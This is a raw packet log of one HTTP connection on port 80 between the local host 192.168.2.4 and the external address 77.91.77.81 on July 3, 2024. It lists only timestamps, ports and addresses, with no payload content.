Jul 3, 2024 23:59:14.418011904 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.442670107 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.442684889 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.442694902 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.442797899 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.442802906 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.442812920 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.442817926 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.442831993 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.443000078 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.443005085 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.443015099 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.443018913 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.443023920 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.443027973 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.443033934 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.443033934 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.443068981 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.443068981 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.446077108 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.476788044 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.476794004 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.476804972 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.476809978 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.476818085 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.476823092 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.476833105 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.476908922 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.476908922 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.476933002 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.476938963 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477062941 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477067947 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477077961 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477082968 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477087021 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477092028 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477097034 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477101088 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.477102041 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477113962 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.477119923 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.477396011 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477401972 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477411985 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477416039 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477421045 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477426052 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477432013 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.477477074 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.477477074 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.477611065 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477616072 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477621078 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477626085 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477629900 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477634907 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477657080 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.477737904 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477824926 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477829933 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.477830887 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477838993 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477844954 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477849007 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477859020 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477875948 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.477902889 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477910995 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477910995 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.477916002 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477921009 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477926016 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477930069 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477941036 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.477977037 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.477977037 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.478295088 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.478301048 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.478331089 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.478377104 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.478380919 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.478385925 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.478390932 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.478502035 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.478507042 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.478518963 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.479764938 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.479803085 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.479808092 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.479809999 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.479846954 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.479851961 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.479882956 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.479974985 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.479981899 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480012894 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.480032921 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480040073 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480068922 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.480144978 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480150938 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480161905 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480168104 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480185032 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.480295897 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480302095 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480314016 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480320930 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480331898 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.480369091 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.480369091 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.480515957 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480521917 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480528116 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480532885 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480537891 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480544090 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480555058 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480592012 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.480778933 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480784893 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480789900 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480794907 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480801105 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480809927 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.480859041 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.480946064 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.480952024 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.481050968 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.481055975 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.481066942 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.481072903 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.481079102 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.481086016 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.482358932 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.506356001 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.506362915 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.506375074 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.506445885 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.506505013 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.506510973 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.506522894 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.506607056 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.506613016 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.506618023 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.506623030 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.506628036 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.506638050 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.506639004 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.506661892 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.506714106 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.506793022 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.506798029 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.509944916 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.532845974 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.532850981 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.532855988 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.532907009 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.532952070 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.532958031 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.532968044 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.532974005 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.533005953 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.533020973 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.533086061 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.533092022 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.533134937 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.533138990 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.533145905 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.533150911 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.533188105 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.533291101 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.533297062 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.533340931 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.566499949 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.566548109 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.566554070 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.566625118 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.566627026 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.566633940 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.566677094 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.566735029 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.566740990 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.566755056 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.566761017 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.566766024 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.566775084 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.566782951 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.566803932 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.566817045 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.566977978 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.566983938 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.566994905 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.566999912 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567009926 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567030907 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.567056894 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.567100048 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567168951 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.567173958 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567179918 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567186117 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567190886 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567219973 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.567394018 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567399979 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567409992 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567414999 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567425966 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567430973 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567441940 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567442894 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.567447901 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567457914 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.567482948 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.567641020 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567645073 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567656040 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567662001 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567688942 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.567702055 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.567706108 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567713022 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567718029 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567724943 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567749977 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.567773104 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.567951918 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567959070 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567974091 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567979097 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567990065 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.567995071 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.568000078 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.568001032 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.568026066 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.568037033 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.568195105 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.568200111 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.568243027 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.568278074 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.568284035 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.568294048 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.568299055 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.568304062 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.568334103 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.568444967 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.569839954 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.569885969 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.569895029 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.569901943 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.569943905 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.569988012 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.569993973 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570033073 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.570108891 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570115089 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570131063 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570136070 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570146084 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570157051 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.570172071 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.570187092 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.570219040 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570313931 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570318937 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570323944 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570336103 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570343018 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570360899 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.570384979 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.570441961 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570483923 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570489883 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570491076 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.570494890 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570529938 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.570657015 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570662022 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570673943 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570678949 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570710897 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.570723057 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.570786953 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570792913 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570836067 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.570883036 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570888996 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570894957 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570899963 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570904970 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570910931 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570915937 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.570931911 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.570955992 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.571208000 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.571214914 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.571224928 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.571260929 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.596476078 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.596595049 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.596633911 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.596640110 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.596652031 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.596657991 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.596667051 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.596672058 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.596678019 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.596688032 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.596724033 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.596829891 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.596838951 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.596884966 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.596894026 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.596899033 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.596915007 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.596921921 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.596931934 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.596941948 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.596957922 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.596975088 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.622869968 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.622914076 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.622919083 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.622975111 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.622978926 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.622981071 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.622993946 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.622998953 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.623019934 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.623028994 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.623037100 CEST	49732	80	192.168.2.4	77.91.77.81
